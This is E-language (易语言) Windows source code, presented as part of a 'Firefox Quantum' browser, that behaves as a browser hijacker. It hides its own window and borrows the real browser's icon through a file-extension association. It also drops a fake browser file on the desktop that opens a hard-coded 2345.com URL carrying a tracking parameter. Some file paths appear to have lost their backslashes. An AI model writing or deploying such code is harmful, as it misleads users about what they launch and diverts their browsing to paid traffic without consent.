火狐量子核部分易语言代码实现

.版本 2
.支持库 eAPI
.支持库 spec
.支持库 shell

.程序集 窗口程序集_启动窗口

.子程序 __启动窗口_首次激活
.局部变量 临时文本, 文本型
.局部变量 当前浏览器名, 文本型

' 临时文本 ＝ 取文本注册项 (1, “httpshellopencommand”, )
' 临时文本 ＝ 取文本左边 (临时文本, 倒找文本 (临时文本, “.exe”, , 假) － 1)
' 临时文本 ＝ 临时文本 ＋ “.exe”
' 当前浏览器名 ＝ 临时文本
' 编辑框1.内容 ＝ 当前浏览器名
' 编辑框1.内容 ＝ 取文本右边 (编辑框1.内容, 取文本长度 (编辑框1.内容) － 1)
' MainPage ＝ 文本_取出中间文本 (取执行文件名 (), “Huo”, “@”, , )
' MainPage ＝ 文本_替换 (MainPage, , , , “-”, “/”, “_”, “?”, , , , )
MainPage ＝ “www.2345.com/?kthisc”
.如果真 (文件是否存在 (“C:Huo_Lz.ini”) ＝ 真)
_启动窗口.可视 ＝ 假
打开指定网址 (“http://” ＋ MainPage)
延迟 (5000)
结束 ()
返回 ()
.如果真结束
_启动窗口.可视 ＝ 假
临时文本 ＝ 取文本注册项 (1, “httpshellopencommand”, )
临时文本 ＝ 取文本左边 (临时文本, 倒找文本 (临时文本, “.exe”, , 假) － 1)
临时文本 ＝ 临时文本 ＋ “.exe”
当前浏览器名 ＝ 临时文本
编辑框1.内容 ＝ 当前浏览器名
编辑框1.内容 ＝ 取文本右边 (编辑框1.内容, 取文本长度 (编辑框1.内容) － 1)
MainBplace ＝ 编辑框1.内容 ' 获取默认浏览器路径，以取得图标
文件_关联 (取运行目录 () ＋ “” ＋ 取执行文件名 (), “0s”, MainBplace, , )
写到文件 (取特定目录 (#系统桌面) ＋ “浏览器V8.0s”, 到字节集 (1))